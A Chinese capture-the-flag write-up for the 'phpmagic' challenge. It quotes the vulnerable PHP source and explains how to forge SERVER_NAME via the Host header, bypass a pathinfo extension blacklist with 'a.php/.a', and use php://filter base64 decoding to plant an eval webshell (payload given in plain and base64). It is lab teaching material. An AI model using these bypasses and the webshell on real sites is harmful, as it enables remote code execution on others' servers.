题目是p神的code-breaking中的phpmagic。
先?read-source=1可以读到源码 php内容为:
<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?>分析源码,首先创建了一个文件夹 路径为./data/md5($_SERVER['REMOTE_ADDR'])/
$command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command);这里使用shell_exec执行了命令,但输入的domain被escapeshellarg处理过,没有其他条件,难以利用。
escapeshellarg($string) 把字符串转码为可以在shell命令里使用的参数 (确保用户只传递一个参数给命令)
$log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output;这里有写文件的操作,output被打印出来了的 这个命令会把我们传入的值输出出来,但在之前使用了htmlspecialchars这个函数,使得所有的标签都被转化了。
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);我们可以使用php伪协议来写入文件,这样就不用担心标签字符失效了
这里还使用了pathinfo函数来取文件后缀,之后判断时候再黑名单中。 而pathinfo这个函数是可以被绕过的。
pathinfo函数只是取最后一个小数点之后的字符作为文件的后缀,因此很容易被绕过
这里用a.php/.a就能绕过,而且php://filter伪协议还能将其看做a.php (详细可以看看:http://wonderkun.cc/index.html/?p=626)
我们要用php伪协议来写文件,所以文件名log_name一定是php://filter开头的。 log_name的赋值过程:
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); $log_name = $_SERVER['SERVER_NAME'] . $log_name;这里将log_name开头写成了$_SERVER[‘SERVER_NAME’] 查找资料,发现当我们使用ip访问的时候,$_SERVER[‘SERVER_NAME’]是可以伪造的。
到此,我们就可以构造payload了 <?php eval($_GET[1]); ?> base64==> PD9waHAgZXZhbCgkX0dFVFsxXSk7ICA/Pg== 因为我们输入的参数是在$output的中间部分,所以base64后的等号不能要,不然解base64时会出错 最后,
最后看上传的位置, ./data/md5($_SERVER['REMOTE_ADDR'])/ $_SERVER[‘REMOTE_ADDR’]是我们自己的ip地址 这里我的路径是 /data/dd546ac20717cd31b1ceaad3eb9911c1/ 访问/data/dd546ac20717cd31b1ceaad3eb9911c1/shell.php,之后即可读取flag
① php://filter可用来base64 bypass写入内容 ② pathinfo可以用/.来绕过 ③ $_SERVER[‘SERVER_NAME’]可通过Host进行伪造